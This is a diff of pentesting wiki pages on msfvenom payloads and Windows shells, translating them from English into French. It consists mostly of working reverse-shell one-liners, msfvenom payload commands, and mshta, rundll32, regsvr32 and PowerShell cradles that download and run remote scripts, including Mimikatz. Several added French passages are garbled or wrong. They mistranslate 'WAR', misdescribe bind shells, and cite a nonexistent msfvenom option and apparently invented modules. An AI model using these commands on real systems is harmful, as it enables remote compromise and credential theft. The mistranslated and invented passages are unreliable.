``` +### **Exécuter une commande** -### **Execute Command** +Utilisez la charge utile `exec` de `msfvenom` pour exécuter une commande sur la machine cible. Vous pouvez spécifier la commande à exécuter en utilisant l'option `-c` suivie de la commande. Par exemple, pour exécuter la commande `whoami` sur la machine cible, utilisez la commande suivante: +``` +msfvenom -p cmd/unix/reverse_netcat LHOST= LPORT= -f -o -c 'whoami' +``` + +Remplacez `` et `` par votre adresse IP et le port local respectivement. `` et `` peuvent être remplacés par le format de sortie et le nom de fichier souhaités. ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### Encodeur ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### Intégré dans un exécutable ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` +## Charges utiles Linux -## Linux Payloads - -### Reverse Shell - +### Shell inversé ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - -### Bind Shell - +### Shell de liaison (Bind Shell) ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) +### Description + +SunOS est un système d'exploitation Unix propriétaire développé par Sun Microsystems, qui a été acquis par Oracle en 2010. Solaris est la version commerciale de SunOS. + +### Payloads + +#### Command Execution + +``` +msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f > shell. +``` + +#### Meterpreter Reverse TCP + +``` +msfvenom -p solaris/sparc/meterpreter/reverse_tcp LHOST= LPORT= -f > shell. +``` + +#### Meterpreter Bind TCP + +``` +msfvenom -p solaris/sparc/meterpreter/bind_tcp LPORT= -f > shell. +``` + +#### Shell Reverse TCP + +``` +msfvenom -p solaris/sparc/shell_reverse_tcp LHOST= LPORT= -f > shell. +``` + +#### Shell Bind TCP + +``` +msfvenom -p solaris/sparc/shell_bind_tcp LPORT= -f > shell. +``` + +### References + +- [https://en.wikipedia.org/wiki/SunOS](https://en.wikipedia.org/wiki/SunOS) +- [https://en.wikipedia.org/wiki/Oracle_Solaris](https://en.wikipedia.org/wiki/Oracle_Solaris) ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` +## **Payloads MAC** -## **MAC Payloads** - -### **Reverse Shell:** - +### **Shell inversé :** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` +### **Shell de liaison** -### **Bind Shell** +Avec une shell de liaison, la victime se connecte à notre machine et obtient un shell. Pour créer un shell de liaison, utilisez la commande `msfvenom` suivante : +``` +msfvenom -p {payload} LHOST={IP} LPORT={port} -f {format} -o {output_file} +``` + +- `{payload}` : le payload que vous souhaitez utiliser. +- `{IP}` : l'adresse IP de votre machine. +- `{port}` : le port sur lequel vous souhaitez écouter. +- `{format}` : le format de sortie souhaité. +- `{output_file}` : le nom du fichier de sortie. + +Par exemple, pour créer un shell de liaison avec le payload `windows/meterpreter/reverse_tcp`, l'adresse IP `192.168.1.100` et le port `4444`, utilisez la commande suivante : + +``` +msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o bind_shell.exe +``` ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **Payloads basés sur le Web** ### **PHP** -#### Reverse shel**l** - +#### Shell inversé ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### Shell inversé ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### Shell inversé ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +### GUERRE -### WAR - -#### Reverse Shell - +#### Shell Inversé ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS +NodeJS est une plateforme logicielle open-source basée sur le moteur JavaScript V8 de Google. Elle permet d'exécuter du code JavaScript côté serveur, ce qui permet de créer des applications web hautement évolutives et performantes. NodeJS est souvent utilisé pour les applications en temps réel, les API et les microservices. ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **Payloads de langage de script** ### **Perl** +Perl est un langage de script populaire pour les pirates informatiques en raison de sa flexibilité et de sa capacité à être exécuté sur plusieurs plates-formes. MSFVenom peut générer des charges utiles Perl pour une variété de tâches, notamment l'exécution de commandes, l'ouverture d'un shell et la création d'un utilisateur. + +Voici un exemple de charge utile Perl pour ouvrir un shell sur une machine cible: + +``` +msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw +``` + +Cette charge utile se connectera à l'adresse IP de l'attaquant sur le port spécifié et ouvrira un shell sur la machine cible. ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** +Python est un langage de programmation interprété de haut niveau, orienté objet et multiplateforme. Il est souvent utilisé pour l'automatisation de tâches, le développement web, l'analyse de données et la création de scripts. Python est également largement utilisé dans le domaine de la sécurité informatique pour la création d'outils de hacking et de scripts d'exploitation. Il est facile à apprendre et à utiliser, et dispose d'une grande communauté de développeurs qui contribuent à son développement continu. ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** +Bash est un shell Unix populaire utilisé pour l'automatisation de tâches et l'écriture de scripts. Il est également utilisé pour l'exploitation de vulnérabilités dans les systèmes Unix. Les scripts Bash peuvent être utilisés pour automatiser des tâches telles que la collecte d'informations, l'escalade de privilèges et l'exécution de commandes à distance. Les scripts Bash peuvent également être utilisés pour créer des backdoors et des chevaux de Troie. ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` -
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez des tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md index 843c3d05f..ac65e51d4 100644 --- a/generic-methodologies-and-resources/shells/windows.md +++ b/generic-methodologies-and-resources/shells/windows.md @@ -4,78 +4,69 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +La page [lolbas-project.github.io](https://lolbas-project.github.io/) est pour Windows ce que [https://gtfobins.github.io/](https://gtfobins.github.io/) est pour Linux.\ +Évidemment, **il n'y a pas de fichiers SUID ou de privilèges sudo sous Windows**, mais il est utile de savoir **comment** certains **binaires** peuvent être (mal)utilisés pour effectuer des actions inattendues comme **exécuter du code arbitraire.** ## NC - ```bash nc.exe -e cmd.exe ``` - ## SBD -**sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative. - -## Python - +**sbd** est un clone de Netcat, conçu pour être portable et offrir un cryptage fort. Il fonctionne sur des systèmes d'exploitation de type Unix et sur Microsoft Win32. sbd prend en charge le cryptage AES-CBC-128 + HMAC-SHA1 (par Christophe Devine), l'exécution de programmes (option -e), le choix du port source, la reconnexion continue avec délai et quelques autres fonctionnalités intéressantes. sbd ne prend en charge que la communication TCP/IP. sbd.exe (faisant partie de la distribution Kali Linux : /usr/share/windows-resources/sbd/sbd.exe) peut être téléchargé sur une machine Windows en tant qu'alternative à Netcat. ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - ## Perl +Perl est un langage de programmation interprété, souvent utilisé pour l'automatisation de tâches système et la manipulation de fichiers. Il est également utilisé dans le développement web pour la création de scripts CGI. Perl est souvent utilisé dans les outils de hacking en raison de sa flexibilité et de sa capacité à manipuler des données de manière efficace. ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby +Ruby est un langage de programmation interprété et orienté objet. Il est souvent utilisé pour le développement web et est également populaire dans le domaine de la sécurité informatique en raison de sa flexibilité et de sa facilité d'utilisation. Ruby est souvent utilisé pour écrire des scripts de hacking en raison de sa syntaxe concise et de sa capacité à manipuler facilement les chaînes de caractères. ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua +Lua est un langage de programmation léger, rapide et facile à apprendre. Il est souvent utilisé pour l'écriture de scripts et d'extensions dans des applications plus grandes. Lua est également utilisé dans des jeux vidéo populaires tels que World of Warcraft et Angry Birds. Lua est souvent intégré à des applications en tant que langage de script pour permettre aux utilisateurs de personnaliser et d'étendre les fonctionnalités de l'application. ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +Attaquant (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +Victime ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -83,67 +74,80 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## Powershell +Powershell est un interpréteur de commandes et un langage de script développé par Microsoft pour les systèmes Windows. Il est basé sur le framework .NET et permet d'automatiser des tâches administratives, de gérer des configurations système et de manipuler des données. + +### Exécution de scripts Powershell + +Pour exécuter un script Powershell, il suffit de lancer l'interpréteur de commandes Powershell et de spécifier le chemin vers le script à exécuter. Par exemple : + +``` +powershell.exe -ExecutionPolicy Bypass -File C:\chemin\vers\script.ps1 +``` + +L'option `-ExecutionPolicy Bypass` permet de contourner la politique de sécurité de Powershell qui empêche l'exécution de scripts non signés ou provenant de sources non fiables. + +### Utilisation de l'API .NET depuis Powershell + +Powershell permet d'accéder à toutes les fonctionnalités de l'API .NET, ce qui offre une grande flexibilité pour la manipulation de données et la création d'outils personnalisés. Par exemple, pour utiliser la classe `System.Net.WebClient` pour télécharger un fichier depuis une URL : + +``` +$client = New-Object System.Net.WebClient +$client.DownloadFile("http://example.com/file.txt", "C:\chemin\vers\file.txt") +``` + +### Utilisation de Powershell pour l'attaque + +Powershell est un outil très puissant pour l'attaque car il permet d'exécuter des commandes à distance, de manipuler des fichiers et des données, et d'interagir avec des API. Il est souvent utilisé pour lancer des attaques de type "fileless" qui ne laissent pas de traces sur le disque dur de la victime. + +### Utilisation de Powershell pour la défense + +Powershell peut également être utilisé pour la défense en automatisant des tâches de surveillance et de détection d'activités suspectes. Par exemple, en surveillant les événements de création de processus Powershell ou en détectant l'utilisation de commandes Powershell malveillantes. ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +Processus effectuant un appel réseau : **powershell.exe**\ +Charge utile écrite sur le disque : **NON** (_du moins nulle part où j'ai pu trouver en utilisant procmon !_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +Processus effectuant un appel réseau : **svchost.exe**\ +Charge utile écrite sur le disque : **Cache local du client WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**Ligne unique :** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**Obtenez plus d'informations sur les différentes Shells Powershell à la fin de ce document** ## Mshta - ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` - -Process performing network call: **mshta.exe**\ -Payload written on disk: **IE local cache** - +Processus effectuant un appel réseau : **mshta.exe**\ +Charge utile écrite sur le disque : **cache local d'IE** ```bash mshta http://webserver/payload.hta ``` - -Process performing network call: **mshta.exe**\ -Payload written on disk: **IE local cache** - +Processus effectuant un appel réseau : **mshta.exe**\ +Charge utile écrite sur le disque : **cache local d'IE** ```bash mshta \\webdavserver\folder\payload.hta ``` +Processus effectuant un appel réseau : **svchost.exe**\ +Charge utile écrite sur le disque : **Cache local du client WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **Exemple de shell inversé hta-psh (utilisation d'hta pour télécharger et exécuter une porte dérobée PS)** ```markup ``` +**Vous pouvez télécharger et exécuter très facilement un zombie Koadic en utilisant le stager hta** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - +#### Exemple hta ```markup @@ -158,11 +162,17 @@ Payload written on disk: **WebDAV client local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) - #### **mshta - sct** +La technique `mshta - sct` est une méthode courante pour exécuter du code arbitraire sur une machine Windows. Elle consiste à utiliser `mshta.exe` pour exécuter un fichier `.sct` (Scriptlet Text) qui contient du code VBScript ou JScript. Le fichier `.sct` est généralement hébergé sur un serveur distant et téléchargé sur la machine cible via une requête HTTP. + +Voici un exemple de commande pour exécuter un fichier `.sct` à distance: + +``` +mshta.exe http:///file.sct +``` + +Il est important de noter que cette technique peut être détectée par les solutions de sécurité modernes, car elle est souvent utilisée dans des attaques de phishing et de malvertising. ```markup @@ -178,11 +188,46 @@ Payload written on disk: **WebDAV client local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - #### **Mshta - Metasploit** +#### Mshta - Metasploit + +Mshta is a Microsoft utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta and are treated as HTML files but executed as applications. Mshta.exe is installed by default on Windows systems. + +Metasploit has a module that allows you to execute an HTA file on a target system using Mshta. The module is called `exploit/windows/browser/mshta\_hta`. + +##### Usage + +``` +msf > use exploit/windows/browser/mshta_hta +msf exploit(mshta_hta) > set payload windows/meterpreter/reverse_tcp +msf exploit(mshta_hta) > set lhost +msf exploit(mshta_hta) > set srvhost +msf exploit(mshta_hta) > set uripath /payload.hta +msf exploit(mshta_hta) > exploit +``` + +This will create a web server on the attacker's machine and serve the HTA file. When the target system executes the HTA file, a Meterpreter session will be created on the attacker's machine. + +##### Mshta - HTA - PowerShell + +Mshta can also be used to execute PowerShell commands on a target system. This can be done by embedding the PowerShell commands in an HTA file and executing it using Mshta. + +``` +mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/Arno0x/PowerShellScripts/master/Invoke-Mimikatz.ps1");close(Execute(a)) +``` + +This command will download the Invoke-Mimikatz PowerShell script from GitHub and execute it on the target system. + +##### Mshta - HTA - JavaScript + +Mshta can also be used to execute JavaScript on a target system. This can be done by embedding the JavaScript code in an HTA file and executing it using Mshta. + +``` +mshta.exe javascript:alert("Hello, world!"); +``` + +This command will display an alert box with the message "Hello, world!" on the target system. ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -193,31 +238,25 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**Détecté par Defender** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - +[**Exemple de Dll hello world**](https://github.com/carterjones/hello-world-dll) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +Processus effectuant un appel réseau : **svchost.exe**\ +Charge utile écrite sur le disque : **Cache local du client WebDAV** ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` +Processus effectuant un appel réseau : **rundll32.exe**\ +Charge utile écrite sur le disque : **cache local d'IE** -Process performing network call: **rundll32.exe**\ -Payload written on disk: **IE local cache** - -**Detected by defender** +**Détecté par Defender** **Rundll32 - sct** - ```bash @@ -232,19 +271,33 @@ Payload written on disk: **IE local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - #### **Rundll32 - Metasploit** +Le module Metasploit `windows/local/metinject` permet d'injecter un payload dans un processus distant en utilisant la commande `rundll32.exe`. + +Le payload est injecté dans la mémoire du processus cible en utilisant la fonction `LoadLibrary` de `rundll32.exe`. + +Le module `windows/local/metinject` peut être utilisé pour injecter un payload dans un processus distant en utilisant la commande `rundll32.exe`. + +Le payload est injecté dans la mémoire du processus cible en utilisant la fonction `LoadLibrary` de `rundll32.exe`. ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** +La technique Rundll32 est souvent utilisée pour exécuter des commandes malveillantes sur des systèmes Windows. Koadic est un outil de post-exploitation qui permet aux attaquants d'exécuter des commandes à distance sur des systèmes Windows compromis. En utilisant Rundll32 pour exécuter Koadic, les attaquants peuvent contourner les défenses de sécurité en utilisant un processus légitime de Windows pour exécuter des commandes malveillantes. + +Pour utiliser cette technique, les attaquants doivent d'abord charger le module Koadic dans la mémoire du système compromis. Ensuite, ils peuvent utiliser la commande Rundll32 pour exécuter le module Koadic en utilisant la syntaxe suivante : + +``` +Rundll32.exe , +``` + +Le chemin d'accès au module Koadic DLL doit être spécifié, ainsi que le nom de la fonction à exécuter et les arguments à passer à cette fonction. Les attaquants peuvent utiliser cette technique pour exécuter des commandes malveillantes telles que la création d'un shell inversé ou la collecte d'informations sur le système compromis. + +Il est important de noter que cette technique peut être détectée par les outils de sécurité qui surveillent les commandes Rundll32. Les défenses de sécurité peuvent être renforcées en désactivant l'exécution de Rundll32 à partir de répertoires non systèmes ou en surveillant les appels Rundll32 pour détecter les comportements malveillants. ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -253,27 +306,23 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 +Regsvr32 est un outil de ligne de commande qui permet d'enregistrer et de supprimer des entrées de registre pour les bibliothèques de liens dynamiques (DLL) et les contrôles ActiveX dans Windows. Il peut également être utilisé pour exécuter du code malveillant sur une machine cible en enregistrant une DLL malveillante et en la chargeant dans le contexte d'un processus légitime. Cette technique est souvent utilisée dans les attaques de type "fileless" car elle ne nécessite pas de fichier exécutable sur le disque. ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` - -Process performing network call: **regsvr32.exe**\ -Payload written on disk: **IE local cache** - +Processus effectuant un appel réseau : **regsvr32.exe**\ +Charge utile écrite sur le disque : **cache local d'IE** ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` +Processus effectuant un appel réseau : **svchost.exe**\ +Charge utile écrite sur le disque : **Cache local du client WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**Detected by defender** +**Détecté par Defender** #### Regsvr32 -sct - ```markup @@ -290,11 +339,51 @@ Payload written on disk: **WebDAV client local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - #### **Regsvr32 - Metasploit** +#### Regsvr32 - Metasploit + +La technique Regsvr32 est souvent utilisée pour exécuter du code 